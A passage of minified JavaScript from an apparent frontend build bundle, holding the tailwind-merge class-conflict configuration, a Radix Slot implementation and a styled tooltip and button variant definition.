e&&e.isThemeGetter===!0,hH=e=>{if(e<1)return{get:()=>{},set:()=>{}};let t=0,n=Object.create(null),r=Object.create(null);const i=(l,c)=>{n[l]=c,t++,t>e&&(t=0,r=n,n=Object.create(null))};return{get(l){let c=n[l];if(c!==void 0)return c;if((c=r[l])!==void 0)return i(l,c),c},set(l,c){l in n?n[l]=c:i(l,c)}}},v0="!",rC=":",pH=[],aC=(e,t,n,r,i)=>({modifiers:e,hasImportantModifier:t,baseClassName:n,maybePostfixModifierPosition:r,isExternal:i}),mH=e=>{const{prefix:t,experimentalParseClassName:n}=e;let r=i=>{const l=[];let c=0,u=0,f=0,h;const p=i.length;for(let w=0;wf?h-f:void 0;return aC(l,x,y,S)};if(t){const i=t+rC,l=r;r=c=>c.startsWith(i)?l(c.slice(i.length)):aC(pH,!1,c,void 0,!0)}if(n){const i=r;r=l=>n({className:l,parseClassName:i})}return r},vH=e=>{const t=new Map;return e.orderSensitiveModifiers.forEach((n,r)=>{t.set(n,1e6+r)}),n=>{const r=[];let i=[];for(let l=0;l0&&(i.sort(),r.push(...i),i=[]),r.push(c)):i.push(c)}return i.length>0&&(i.sort(),r.push(...i)),r}},gH=e=>({cache:hH(e.cacheSize),parseClassName:mH(e),sortModifiers:vH(e),...aH(e)}),yH=/\s+/,bH=(e,t)=>{const{parseClassName:n,getClassGroupId:r,getConflictingClassGroupIds:i,sortModifiers:l}=t,c=[],u=e.trim().split(yH);let f="";for(let h=u.length-1;h>=0;h-=1){const p=u[h],{isExternal:m,modifiers:y,hasImportantModifier:x,baseClassName:S,maybePostfixModifierPosition:w}=n(p);if(m){f=p+(f.length>0?" "+f:f);continue}let O=!!w,A=r(O?S.substring(0,w):S);if(!A){if(!O){f=p+(f.length>0?" "+f:f);continue}if(A=r(S),!A){f=p+(f.length>0?" "+f:f);continue}O=!1}const _=y.length===0?"":y.length===1?y[0]:l(y).join(":"),T=x?_+v0:_,j=T+A;if(c.indexOf(j)>-1)continue;c.push(j);const M=i(A,O);for(let P=0;P0?" "+f:f)}return f},xH=(...e)=>{let t=0,n,r,i="";for(;t{if(typeof e=="string")return e;let t,n="";for(let r=0;r{let n,r,i,l;const c=f=>{const h=t.reduce((p,m)=>m(p),e());return n=gH(h),r=n.cache.get,i=n.cache.set,l=u,u(f)},u=f=>{const h=r(f);if(h)return h;const p=bH(f,n);return i(f,p),p};return l=c,(...f)=>l(xH(...f))},SH=[],Pt=e=>{const t=n=>n[e]||SH;return t.isThemeGetter=!0,t},dj=/^\[(?:(\w[\w-]*):)?(.+)\]$/i,hj=/^\((?:(\w[\w-]*):)?(.+)\)$/i,OH=/^\d+\/\d+$/,EH=/^(\d+(\.\d+)?)?(xs|sm|md|lg|xl)$/,AH=/\d+(%|px|r?em|[sdl]?v([hwib]|min|max)|pt|pc|in|cm|mm|cap|ch|ex|r?lh|cq(w|h|i|b|min|max))|\b(calc|min|max|clamp)\(.+\)|^0$/,CH=/^(rgba?|hsla?|hwb|(ok)?(lab|lch)|color-mix)\(.+\)$/,_H=/^(inset_)?-?((\d+)?\.?(\d+)[a-z]+|0)_-?((\d+)?\.?(\d+)[a-z]+|0)/,TH=/^(url|image|image-set|cross-fade|element|(repeating-)?(linear|radial|conic)-gradient)\(.+\)$/,ml=e=>OH.test(e),ke=e=>!!e&&!Number.isNaN(Number(e)),fi=e=>!!e&&Number.isInteger(Number(e)),yg=e=>e.endsWith("%")&&ke(e.slice(0,-1)),ha=e=>EH.test(e),NH=()=>!0,MH=e=>AH.test(e)&&!CH.test(e),pj=()=>!1,jH=e=>_H.test(e),PH=e=>TH.test(e),RH=e=>!ge(e)&&!ye(e),DH=e=>Vl(e,gj,pj),ge=e=>dj.test(e),Yi=e=>Vl(e,yj,MH),bg=e=>Vl(e,$H,ke),iC=e=>Vl(e,mj,pj),kH=e=>Vl(e,vj,PH),$f=e=>Vl(e,bj,jH),ye=e=>hj.test(e),rc=e=>Kl(e,yj),LH=e=>Kl(e,BH),oC=e=>Kl(e,mj),IH=e=>Kl(e,gj),zH=e=>Kl(e,vj),Bf=e=>Kl(e,bj,!0),Vl=(e,t,n)=>{const r=dj.exec(e);return r?r[1]?t(r[1]):n(r[2]):!1},Kl=(e,t,n=!1)=>{const r=hj.exec(e);return r?r[1]?t(r[1]):n:!1},mj=e=>e==="position"||e==="percentage",vj=e=>e==="image"||e==="url",gj=e=>e==="length"||e==="size"||e==="bg-size",yj=e=>e==="length",$H=e=>e==="number",BH=e=>e==="family-name",bj=e=>e==="shadow",UH=()=>{const e=Pt("color"),t=Pt("font"),n=Pt("text"),r=Pt("font-weight"),i=Pt("tracking"),l=Pt("leading"),c=Pt("breakpoint"),u=Pt("container"),f=Pt("spacing"),h=Pt("radius"),p=Pt("shadow"),m=Pt("inset-shadow"),y=Pt("text-shadow"),x=Pt("drop-shadow"),S=Pt("blur"),w=Pt("perspective"),O=Pt("aspect"),A=Pt("ease"),_=Pt("animate"),T=()=>["auto","avoid","all","avoid-page","page","left","right","column"],j=()=>["center","top","bottom","left","right","top-left","left-top","top-right","right-top","bottom-right","right-bottom","bottom-left","left-bottom"],M=()=>[...j(),ye,ge],P=()=>["auto","hidden","clip","visible","scroll"],R=()=>["auto","contain","none"],I=()=>[ye,ge,f],B=()=>[ml,"full","auto",...I()],q=()=>[fi,"none","subgrid",ye,ge],U=()=>["auto",{span:["full",fi,ye,ge]},fi,ye,ge],V=()=>[fi,"auto",ye,ge],oe=()=>["auto","min","max","fr",ye,ge],le=()=>["start","end","center","between","around","evenly","stretch","baseline","center-safe","end-safe"],ce=()=>["start","end","center","stretch","center-safe","end-safe"],L=()=>["auto",...I()],F=()=>[ml,"auto","full","dvw","dvh","lvw","lvh","svw","svh","min","max","fit",...I()],$=()=>[e,ye,ge],Z=()=>[...j(),oC,iC,{position:[ye,ge]}],de=()=>["no-repeat",{repeat:["","x","y","space","round"]}],D=()=>["auto","cover","contain",IH,DH,{size:[ye,ge]}],X=()=>[yg,rc,Yi],ae=()=>["","none","full",h,ye,ge],se=()=>["",ke,rc,Yi],me=()=>["solid","dashed","dotted","double"],xe=()=>["normal","multiply","screen","overlay","darken","lighten","color-dodge","color-burn","hard-light","soft-light","difference","exclusion","hue","saturation","color","luminosity"],ee=()=>[ke,yg,oC,iC],_e=()=>["","none",S,ye,ge],Q=()=>["none",ke,ye,ge],fe=()=>["none",ke,ye,ge],he=()=>[ke,ye,ge],ne=()=>[ml,"full",...I()];return{cacheSize:500,theme:{animate:["spin","ping","pulse","bounce"],aspect:["video"],blur:[ha],breakpoint:[ha],color:[NH],container:[ha],"drop-shadow":[ha],ease:["in","out","in-out"],font:[RH],"font-weight":["thin","extralight","light","normal","medium","semibold","bold","extrabold","black"],"inset-shadow":[ha],leading:["none","tight","snug","normal","relaxed","loose"],perspective:["dramatic","near","normal","midrange","distant","none"],radius:[ha],shadow:[ha],spacing:["px",ke],text:[ha],"text-shadow":[ha],tracking:["tighter","tight","normal","wide","wider","widest"]},classGroups:{aspect:[{aspect:["auto","square",ml,ge,ye,O]}],container:["container"],columns:[{columns:[ke,ge,ye,u]}],"break-after":[{"break-after":T()}],"break-before":[{"break-before":T()}],"break-inside":[{"break-inside":["auto","avoid","avoid-page","avoid-column"]}],"box-decoration":[{"box-decoration":["slice","clone"]}],box:[{box:["border","content"]}],display:["block","inline-block","inline","flex","inline-flex","table","inline-table","table-caption","table-cell","table-column","table-column-group","table-footer-group","table-header-group","table-row-group","table-row","flow-root","grid","inline-grid","contents","list-item","hidden"],sr:["sr-only","not-sr-only"],float:[{float:["right","left","none","start","end"]}],clear:[{clear:["left","right","both","none","start","end"]}],isolation:["isolate","isolation-auto"],"object-fit":[{object:["contain","cover","fill","none","scale-down"]}],"object-position":[{object:M()}],overflow:[{overflow:P()}],"overflow-x":[{"overflow-x":P()}],"overflow-y":[{"overflow-y":P()}],overscroll:[{overscroll:R()}],"overscroll-x":[{"overscroll-x":R()}],"overscroll-y":[{"overscroll-y":R()}],position:["static","fixed","absolute","relative","sticky"],inset:[{inset:B()}],"inset-x":[{"inset-x":B()}],"inset-y":[{"inset-y":B()}],start:[{start:B()}],end:[{end:B()}],top:[{top:B()}],right:[{right:B()}],bottom:[{bottom:B()}],left:[{left:B()}],visibility:["visible","invisible","collapse"],z:[{z:[fi,"auto",ye,ge]}],basis:[{basis:[ml,"full","auto",u,...I()]}],"flex-direction":[{flex:["row","row-reverse","col","col-reverse"]}],"flex-wrap":[{flex:["nowrap","wrap","wrap-reverse"]}],flex:[{flex:[ke,ml,"auto","initial","none",ge]}],grow:[{grow:["",ke,ye,ge]}],shrink:[{shrink:["",ke,ye,ge]}],order:[{order:[fi,"first","last","none",ye,ge]}],"grid-cols":[{"grid-cols":q()}],"col-start-end":[{col:U()}],"col-start":[{"col-start":V()}],"col-end":[{"col-end":V()}],"grid-rows":[{"grid-rows":q()}],"row-start-end":[{row:U()}],"row-start":[{"row-start":V()}],"row-end":[{"row-end":V()}],"grid-flow":[{"grid-flow":["row","col","dense","row-dense","col-dense"]}],"auto-cols":[{"auto-cols":oe()}],"auto-rows":[{"auto-rows":oe()}],gap:[{gap:I()}],"gap-x":[{"gap-x":I()}],"gap-y":[{"gap-y":I()}],"justify-content":[{justify:[...le(),"normal"]}],"justify-items":[{"justify-items":[...ce(),"normal"]}],"justify-self":[{"justify-self":["auto",...ce()]}],"align-content":[{content:["normal",...le()]}],"align-items":[{items:[...ce(),{baseline:["","last"]}]}],"align-self":[{self:["auto",...ce(),{baseline:["","last"]}]}],"place-content":[{"place-content":le()}],"place-items":[{"place-items":[...ce(),"baseline"]}],"place-self":[{"place-self":["auto",...ce()]}],p:[{p:I()}],px:[{px:I()}],py:[{py:I()}],ps:[{ps:I()}],pe:[{pe:I()}],pt:[{pt:I()}],pr:[{pr:I()}],pb:[{pb:I()}],pl:[{pl:I()}],m:[{m:L()}],mx:[{mx:L()}],my:[{my:L()}],ms:[{ms:L()}],me:[{me:L()}],mt:[{mt:L()}],mr:[{mr:L()}],mb:[{mb:L()}],ml:[{ml:L()}],"space-x":[{"space-x":I()}],"space-x-reverse":["space-x-reverse"],"space-y":[{"space-y":I()}],"space-y-reverse":["space-y-reverse"],size:[{size:F()}],w:[{w:[u,"screen",...F()]}],"min-w":[{"min-w":[u,"screen","none",...F()]}],"max-w":[{"max-w":[u,"screen","none","prose",{screen:[c]},...F()]}],h:[{h:["screen","lh",...F()]}],"min-h":[{"min-h":["screen","lh","none",...F()]}],"max-h":[{"max-h":["screen","lh",...F()]}],"font-size":[{text:["base",n,rc,Yi]}],"font-smoothing":["antialiased","subpixel-antialiased"],"font-style":["italic","not-italic"],"font-weight":[{font:[r,ye,bg]}],"font-stretch":[{"font-stretch":["ultra-condensed","extra-condensed","condensed","semi-condensed","normal","semi-expanded","expanded","extra-expanded","ultra-expanded",yg,ge]}],"font-family":[{font:[LH,ge,t]}],"fvn-normal":["normal-nums"],"fvn-ordinal":["ordinal"],"fvn-slashed-zero":["slashed-zero"],"fvn-figure":["lining-nums","oldstyle-nums"],"fvn-spacing":["proportional-nums","tabular-nums"],"fvn-fraction":["diagonal-fractions","stacked-fractions"],tracking:[{tracking:[i,ye,ge]}],"line-clamp":[{"line-clamp":[ke,"none",ye,bg]}],leading:[{leading:[l,...I()]}],"list-image":[{"list-image":["none",ye,ge]}],"list-style-position":[{list:["inside","outside"]}],"list-style-type":[{list:["disc","decimal","none",ye,ge]}],"text-alignment":[{text:["left","center","right","justify","start","end"]}],"placeholder-color":[{placeholder:$()}],"text-color":[{text:$()}],"text-decoration":["underline","overline","line-through","no-underline"],"text-decoration-style":[{decoration:[...me(),"wavy"]}],"text-decoration-thickness":[{decoration:[ke,"from-font","auto",ye,Yi]}],"text-decoration-color":[{decoration:$()}],"underline-offset":[{"underline-offset":[ke,"auto",ye,ge]}],"text-transform":["uppercase","lowercase","capitalize","normal-case"],"text-overflow":["truncate","text-ellipsis","text-clip"],"text-wrap":[{text:["wrap","nowrap","balance","pretty"]}],indent:[{indent:I()}],"vertical-align":[{align:["baseline","top","middle","bottom","text-top","text-bottom","sub","super",ye,ge]}],whitespace:[{whitespace:["normal","nowrap","pre","pre-line","pre-wrap","break-spaces"]}],break:[{break:["normal","words","all","keep"]}],wrap:[{wrap:["break-word","anywhere","normal"]}],hyphens:[{hyphens:["none","manual","auto"]}],content:[{content:["none",ye,ge]}],"bg-attachment":[{bg:["fixed","local","scroll"]}],"bg-clip":[{"bg-clip":["border","padding","content","text"]}],"bg-origin":[{"bg-origin":["border","padding","content"]}],"bg-position":[{bg:Z()}],"bg-repeat":[{bg:de()}],"bg-size":[{bg:D()}],"bg-image":[{bg:["none",{linear:[{to:["t","tr","r","br","b","bl","l","tl"]},fi,ye,ge],radial:["",ye,ge],conic:[fi,ye,ge]},zH,kH]}],"bg-color":[{bg:$()}],"gradient-from-pos":[{from:X()}],"gradient-via-pos":[{via:X()}],"gradient-to-pos":[{to:X()}],"gradient-from":[{from:$()}],"gradient-via":[{via:$()}],"gradient-to":[{to:$()}],rounded:[{rounded:ae()}],"rounded-s":[{"rounded-s":ae()}],"rounded-e":[{"rounded-e":ae()}],"rounded-t":[{"rounded-t":ae()}],"rounded-r":[{"rounded-r":ae()}],"rounded-b":[{"rounded-b":ae()}],"rounded-l":[{"rounded-l":ae()}],"rounded-ss":[{"rounded-ss":ae()}],"rounded-se":[{"rounded-se":ae()}],"rounded-ee":[{"rounded-ee":ae()}],"rounded-es":[{"rounded-es":ae()}],"rounded-tl":[{"rounded-tl":ae()}],"rounded-tr":[{"rounded-tr":ae()}],"rounded-br":[{"rounded-br":ae()}],"rounded-bl":[{"rounded-bl":ae()}],"border-w":[{border:se()}],"border-w-x":[{"border-x":se()}],"border-w-y":[{"border-y":se()}],"border-w-s":[{"border-s":se()}],"border-w-e":[{"border-e":se()}],"border-w-t":[{"border-t":se()}],"border-w-r":[{"border-r":se()}],"border-w-b":[{"border-b":se()}],"border-w-l":[{"border-l":se()}],"divide-x":[{"divide-x":se()}],"divide-x-reverse":["divide-x-reverse"],"divide-y":[{"divide-y":se()}],"divide-y-reverse":["divide-y-reverse"],"border-style":[{border:[...me(),"hidden","none"]}],"divide-style":[{divide:[...me(),"hidden","none"]}],"border-color":[{border:$()}],"border-color-x":[{"border-x":$()}],"border-color-y":[{"border-y":$()}],"border-color-s":[{"border-s":$()}],"border-color-e":[{"border-e":$()}],"border-color-t":[{"border-t":$()}],"border-color-r":[{"border-r":$()}],"border-color-b":[{"border-b":$()}],"border-color-l":[{"border-l":$()}],"divide-color":[{divide:$()}],"outline-style":[{outline:[...me(),"none","hidden"]}],"outline-offset":[{"outline-offset":[ke,ye,ge]}],"outline-w":[{outline:["",ke,rc,Yi]}],"outline-color":[{outline:$()}],shadow:[{shadow:["","none",p,Bf,$f]}],"shadow-color":[{shadow:$()}],"inset-shadow":[{"inset-shadow":["none",m,Bf,$f]}],"inset-shadow-color":[{"inset-shadow":$()}],"ring-w":[{ring:se()}],"ring-w-inset":["ring-inset"],"ring-color":[{ring:$()}],"ring-offset-w":[{"ring-offset":[ke,Yi]}],"ring-offset-color":[{"ring-offset":$()}],"inset-ring-w":[{"inset-ring":se()}],"inset-ring-color":[{"inset-ring":$()}],"text-shadow":[{"text-shadow":["none",y,Bf,$f]}],"text-shadow-color":[{"text-shadow":$()}],opacity:[{opacity:[ke,ye,ge]}],"mix-blend":[{"mix-blend":[...xe(),"plus-darker","plus-lighter"]}],"bg-blend":[{"bg-blend":xe()}],"mask-clip":[{"mask-clip":["border","padding","content","fill","stroke","view"]},"mask-no-clip"],"mask-composite":[{mask:["add","subtract","intersect","exclude"]}],"mask-image-linear-pos":[{"mask-linear":[ke]}],"mask-image-linear-from-pos":[{"mask-linear-from":ee()}],"mask-image-linear-to-pos":[{"mask-linear-to":ee()}],"mask-image-linear-from-color":[{"mask-linear-from":$()}],"mask-image-linear-to-color":[{"mask-linear-to":$()}],"mask-image-t-from-pos":[{"mask-t-from":ee()}],"mask-image-t-to-pos":[{"mask-t-to":ee()}],"mask-image-t-from-color":[{"mask-t-from":$()}],"mask-image-t-to-color":[{"mask-t-to":$()}],"mask-image-r-from-pos":[{"mask-r-from":ee()}],"mask-image-r-to-pos":[{"mask-r-to":ee()}],"mask-image-r-from-color":[{"mask-r-from":$()}],"mask-image-r-to-color":[{"mask-r-to":$()}],"mask-image-b-from-pos":[{"mask-b-from":ee()}],"mask-image-b-to-pos":[{"mask-b-to":ee()}],"mask-image-b-from-color":[{"mask-b-from":$()}],"mask-image-b-to-color":[{"mask-b-to":$()}],"mask-image-l-from-pos":[{"mask-l-from":ee()}],"mask-image-l-to-pos":[{"mask-l-to":ee()}],"mask-image-l-from-color":[{"mask-l-from":$()}],"mask-image-l-to-color":[{"mask-l-to":$()}],"mask-image-x-from-pos":[{"mask-x-from":ee()}],"mask-image-x-to-pos":[{"mask-x-to":ee()}],"mask-image-x-from-color":[{"mask-x-from":$()}],"mask-image-x-to-color":[{"mask-x-to":$()}],"mask-image-y-from-pos":[{"mask-y-from":ee()}],"mask-image-y-to-pos":[{"mask-y-to":ee()}],"mask-image-y-from-color":[{"mask-y-from":$()}],"mask-image-y-to-color":[{"mask-y-to":$()}],"mask-image-radial":[{"mask-radial":[ye,ge]}],"mask-image-radial-from-pos":[{"mask-radial-from":ee()}],"mask-image-radial-to-pos":[{"mask-radial-to":ee()}],"mask-image-radial-from-color":[{"mask-radial-from":$()}],"mask-image-radial-to-color":[{"mask-radial-to":$()}],"mask-image-radial-shape":[{"mask-radial":["circle","ellipse"]}],"mask-image-radial-size":[{"mask-radial":[{closest:["side","corner"],farthest:["side","corner"]}]}],"mask-image-radial-pos":[{"mask-radial-at":j()}],"mask-image-conic-pos":[{"mask-conic":[ke]}],"mask-image-conic-from-pos":[{"mask-conic-from":ee()}],"mask-image-conic-to-pos":[{"mask-conic-to":ee()}],"mask-image-conic-from-color":[{"mask-conic-from":$()}],"mask-image-conic-to-color":[{"mask-conic-to":$()}],"mask-mode":[{mask:["alpha","luminance","match"]}],"mask-origin":[{"mask-origin":["border","padding","content","fill","stroke","view"]}],"mask-position":[{mask:Z()}],"mask-repeat":[{mask:de()}],"mask-size":[{mask:D()}],"mask-type":[{"mask-type":["alpha","luminance"]}],"mask-image":[{mask:["none",ye,ge]}],filter:[{filter:["","none",ye,ge]}],blur:[{blur:_e()}],brightness:[{brightness:[ke,ye,ge]}],contrast:[{contrast:[ke,ye,ge]}],"drop-shadow":[{"drop-shadow":["","none",x,Bf,$f]}],"drop-shadow-color":[{"drop-shadow":$()}],grayscale:[{grayscale:["",ke,ye,ge]}],"hue-rotate":[{"hue-rotate":[ke,ye,ge]}],invert:[{invert:["",ke,ye,ge]}],saturate:[{saturate:[ke,ye,ge]}],sepia:[{sepia:["",ke,ye,ge]}],"backdrop-filter":[{"backdrop-filter":["","none",ye,ge]}],"backdrop-blur":[{"backdrop-blur":_e()}],"backdrop-brightness":[{"backdrop-brightness":[ke,ye,ge]}],"backdrop-contrast":[{"backdrop-contrast":[ke,ye,ge]}],"backdrop-grayscale":[{"backdrop-grayscale":["",ke,ye,ge]}],"backdrop-hue-rotate":[{"backdrop-hue-rotate":[ke,ye,ge]}],"backdrop-invert":[{"backdrop-invert":["",ke,ye,ge]}],"backdrop-opacity":[{"backdrop-opacity":[ke,ye,ge]}],"backdrop-saturate":[{"backdrop-saturate":[ke,ye,ge]}],"backdrop-sepia":[{"backdrop-sepia":["",ke,ye,ge]}],"border-collapse":[{border:["collapse","separate"]}],"border-spacing":[{"border-spacing":I()}],"border-spacing-x":[{"border-spacing-x":I()}],"border-spacing-y":[{"border-spacing-y":I()}],"table-layout":[{table:["auto","fixed"]}],caption:[{caption:["top","bottom"]}],transition:[{transition:["","all","colors","opacity","shadow","transform","none",ye,ge]}],"transition-behavior":[{transition:["normal","discrete"]}],duration:[{duration:[ke,"initial",ye,ge]}],ease:[{ease:["linear","initial",A,ye,ge]}],delay:[{delay:[ke,ye,ge]}],animate:[{animate:["none",_,ye,ge]}],backface:[{backface:["hidden","visible"]}],perspective:[{perspective:[w,ye,ge]}],"perspective-origin":[{"perspective-origin":M()}],rotate:[{rotate:Q()}],"rotate-x":[{"rotate-x":Q()}],"rotate-y":[{"rotate-y":Q()}],"rotate-z":[{"rotate-z":Q()}],scale:[{scale:fe()}],"scale-x":[{"scale-x":fe()}],"scale-y":[{"scale-y":fe()}],"scale-z":[{"scale-z":fe()}],"scale-3d":["scale-3d"],skew:[{skew:he()}],"skew-x":[{"skew-x":he()}],"skew-y":[{"skew-y":he()}],transform:[{transform:[ye,ge,"","none","gpu","cpu"]}],"transform-origin":[{origin:M()}],"transform-style":[{transform:["3d","flat"]}],translate:[{translate:ne()}],"translate-x":[{"translate-x":ne()}],"translate-y":[{"translate-y":ne()}],"translate-z":[{"translate-z":ne()}],"translate-none":["translate-none"],accent:[{accent:$()}],appearance:[{appearance:["none","auto"]}],"caret-color":[{caret:$()}],"color-scheme":[{scheme:["normal","dark","light","light-dark","only-dark","only-light"]}],cursor:[{cursor:["auto","default","pointer","wait","text","move","help","not-allowed","none","context-menu","progress","cell","crosshair","vertical-text","alias","copy","no-drop","grab","grabbing","all-scroll","col-resize","row-resize","n-resize","e-resize","s-resize","w-resize","ne-resize","nw-resize","se-resize","sw-resize","ew-resize","ns-resize","nesw-resize","nwse-resize","zoom-in","zoom-out",ye,ge]}],"field-sizing":[{"field-sizing":["fixed","content"]}],"pointer-events":[{"pointer-events":["auto","none"]}],resize:[{resize:["none","","y","x"]}],"scroll-behavior":[{scroll:["auto","smooth"]}],"scroll-m":[{"scroll-m":I()}],"scroll-mx":[{"scroll-mx":I()}],"scroll-my":[{"scroll-my":I()}],"scroll-ms":[{"scroll-ms":I()}],"scroll-me":[{"scroll-me":I()}],"scroll-mt":[{"scroll-mt":I()}],"scroll-mr":[{"scroll-mr":I()}],"scroll-mb":[{"scroll-mb":I()}],"scroll-ml":[{"scroll-ml":I()}],"scroll-p":[{"scroll-p":I()}],"scroll-px":[{"scroll-px":I()}],"scroll-py":[{"scroll-py":I()}],"scroll-ps":[{"scroll-ps":I()}],"scroll-pe":[{"scroll-pe":I()}],"scroll-pt":[{"scroll-pt":I()}],"scroll-pr":[{"scroll-pr":I()}],"scroll-pb":[{"scroll-pb":I()}],"scroll-pl":[{"scroll-pl":I()}],"snap-align":[{snap:["start","end","center","align-none"]}],"snap-stop":[{snap:["normal","always"]}],"snap-type":[{snap:["none","x","y","both"]}],"snap-strictness":[{snap:["mandatory","proximity"]}],touch:[{touch:["auto","none","manipulation"]}],"touch-x":[{"touch-pan":["x","left","right"]}],"touch-y":[{"touch-pan":["y","up","down"]}],"touch-pz":["touch-pinch-zoom"],select:[{select:["none","text","all","auto"]}],"will-change":[{"will-change":["auto","scroll","contents","transform",ye,ge]}],fill:[{fill:["none",...$()]}],"stroke-w":[{stroke:[ke,rc,Yi,bg]}],stroke:[{stroke:["none",...$()]}],"forced-color-adjust":[{"forced-color-adjust":["auto","none"]}]},conflictingClassGroups:{overflow:["overflow-x","overflow-y"],overscroll:["overscroll-x","overscroll-y"],inset:["inset-x","inset-y","start","end","top","right","bottom","left"],"inset-x":["right","left"],"inset-y":["top","bottom"],flex:["basis","grow","shrink"],gap:["gap-x","gap-y"],p:["px","py","ps","pe","pt","pr","pb","pl"],px:["pr","pl"],py:["pt","pb"],m:["mx","my","ms","me","mt","mr","mb","ml"],mx:["mr","ml"],my:["mt","mb"],size:["w","h"],"font-size":["leading"],"fvn-normal":["fvn-ordinal","fvn-slashed-zero","fvn-figure","fvn-spacing","fvn-fraction"],"fvn-ordinal":["fvn-normal"],"fvn-slashed-zero":["fvn-normal"],"fvn-figure":["fvn-normal"],"fvn-spacing":["fvn-normal"],"fvn-fraction":["fvn-normal"],"line-clamp":["display","overflow"],rounded:["rounded-s","rounded-e","rounded-t","rounded-r","rounded-b","rounded-l","rounded-ss","rounded-se","rounded-ee","rounded-es","rounded-tl","rounded-tr","rounded-br","rounded-bl"],"rounded-s":["rounded-ss","rounded-es"],"rounded-e":["rounded-se","rounded-ee"],"rounded-t":["rounded-tl","rounded-tr"],"rounded-r":["rounded-tr","rounded-br"],"rounded-b":["rounded-br","rounded-bl"],"rounded-l":["rounded-tl","rounded-bl"],"border-spacing":["border-spacing-x","border-spacing-y"],"border-w":["border-w-x","border-w-y","border-w-s","border-w-e","border-w-t","border-w-r","border-w-b","border-w-l"],"border-w-x":["border-w-r","border-w-l"],"border-w-y":["border-w-t","border-w-b"],"border-color":["border-color-x","border-color-y","border-color-s","border-color-e","border-color-t","border-color-r","border-color-b","border-color-l"],"border-color-x":["border-color-r","border-color-l"],"border-color-y":["border-color-t","border-color-b"],translate:["translate-x","translate-y","translate-none"],"translate-none":["translate","translate-x","translate-y","translate-z"],"scroll-m":["scroll-mx","scroll-my","scroll-ms","scroll-me","scroll-mt","scroll-mr","scroll-mb","scroll-ml"],"scroll-mx":["scroll-mr","scroll-ml"],"scroll-my":["scroll-mt","scroll-mb"],"scroll-p":["scroll-px","scroll-py","scroll-ps","scroll-pe","scroll-pt","scroll-pr","scroll-pb","scroll-pl"],"scroll-px":["scroll-pr","scroll-pl"],"scroll-py":["scroll-pt","scroll-pb"],touch:["touch-x","touch-y","touch-pz"],"touch-x":["touch"],"touch-y":["touch"],"touch-pz":["touch"]},conflictingClassGroupModifiers:{"font-size":["leading"]},orderSensitiveModifiers:["*","**","after","backdrop","before","details-content","file","first-letter","first-line","marker","placeholder","selection"]}},HH=wH(UH);function Ee(...e){return HH(Ye(e))}const xj=ZU,qH=QU,FH=JU,wj=v.forwardRef(({className:e,sideOffset:t=4,...n},r)=>E.jsx(eH,{children:E.jsx(oj,{ref:r,sideOffset:t,className:Ee("z-50 overflow-hidden rounded-md border bg-popover px-3 py-1.5 text-sm text-popover-foreground shadow-md animate-in fade-in-0 zoom-in-95 data-[state=closed]:animate-out data-[state=closed]:fade-out-0 data-[state=closed]:zoom-out-95 data-[side=bottom]:slide-in-from-top-2 data-[side=left]:slide-in-from-right-2 data-[side=right]:slide-in-from-left-2 data-[side=top]:slide-in-from-bottom-2",e),...n})}));wj.displayName=oj.displayName;var VH=Symbol.for("react.lazy"),Cd=Eh[" use ".trim().toString()];function KH(e){return typeof e=="object"&&e!==null&&"then"in e}function Sj(e){return e!=null&&typeof e=="object"&&"$$typeof"in e&&e.$$typeof===VH&&"_payload"in e&&KH(e._payload)}function Rh(e){const t=GH(e),n=v.forwardRef((r,i)=>{let{children:l,...c}=r;Sj(l)&&typeof Cd=="function"&&(l=Cd(l._payload));const u=v.Children.toArray(l),f=u.find(XH);if(f){const h=f.props.children,p=u.map(m=>m===f?v.Children.count(h)>1?v.Children.only(null):v.isValidElement(h)?h.props.children:null:m);return E.jsx(t,{...c,ref:i,children:v.isValidElement(h)?v.cloneElement(h,void 0,p):null})}return E.jsx(t,{...c,ref:i,children:l})});return n.displayName=`${e}.Slot`,n}var YH=Rh("Slot");function GH(e){const t=v.forwardRef((n,r)=>{let{children:i,...l}=n;if(Sj(i)&&typeof Cd=="function"&&(i=Cd(i._payload)),v.isValidElement(i)){const c=QH(i),u=ZH(l,i.props);return i.type!==v.Fragment&&(u.ref=r?ja(r,c):c),v.cloneElement(i,u)}return v.Children.count(i)>1?v.Children.only(null):null});return t.displayName=`${e}.SlotClone`,t}var WH=Symbol("radix.slottable");function XH(e){return v.isValidElement(e)&&typeof e.type=="function"&&"__radixId"in e.type&&e.type.__radixId===WH}function ZH(e,t){const n={...t};for(const r in t){const i=e[r],l=t[r];/^on[A-Z]/.test(r)?i&&l?n[r]=(...u)=>{const f=l(...u);return i(...u),f}:i&&(n[r]=i):r==="style"?n[r]={...i,...l}:r==="className"&&(n[r]=[i,l].filter(Boolean).join(" "))}return{...e,...n}}function QH(e){let t=Object.getOwnPropertyDescriptor(e.props,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning;return n?e.ref:(t=Object.getOwnPropertyDescriptor(e,"ref")?.get,n=t&&"isReactWarning"in t&&t.isReactWarning,n?e.props.ref:e.props.ref||e.ref)}const lC=e=>typeof e=="boolean"?`${e}`:e===0?"0":e,sC=Ye,Dh=(e,t)=>n=>{var r;if(t?.variants==null)return sC(e,n?.class,n?.className);const{variants:i,defaultVariants:l}=t,c=Object.keys(i).map(h=>{const p=n?.[h],m=l?.[h];if(p===null)return null;const y=lC(p)||lC(m);return i[h][y]}),u=n&&Object.entries(n).reduce((h,p)=>{let[m,y]=p;return y===void 0||(h[m]=y),h},{}),f=t==null||(r=t.compoundVariants)===null||r===void 0?void 0:r.reduce((h,p)=>{let{class:m,className:y,...x}=p;return Object.entries(x).every(S=>{let[w,O]=S;return Array.isArray(O)?O.includes({...l,...u}[w]):{...l,...u}[w]===O})?[...h,m,y]:h},[]);return sC(e,c,f,n?.class,n?.className)},Vb=Dh("inline-flex items-center justify-center whitespace-nowrap rounded-md text-sm font-medium ring-offset-background transition-colors focus-visible:outline-none focus-visible:ring-2 focus-visible:ring-ring focus-visible:ring-offset-2 disabled:pointer-events-none disabled:opacity-50",{variants:{variant:{default:"bg-primary text-primary-foreground hover:bg-primary/90",destructive:"bg-destructive text-destructive-foreground hover:bg-destructive/90",outline:"border border-input bg-background hover:bg-accent hover:text-accent-foreground",secondary:"bg-secondary text-secondary-foreground hover:bg-secondary/80",ghost:"hover:bg-accent hover:text-accent-foreground",link:"text-primary underline-offset-4 hover:underline"},size:{default:"h-10 px-4 py-2",sm:"h-9 rounded-md px-3",lg:"h-11 rounded-md px-8",icon:"h-10 w-10"}},defaultVariants:{variant:"default",size:"default"}}),or=v.forwardRef(({className:e,variant:t,size:n,asChild:r=!1,...i},l)=>{const 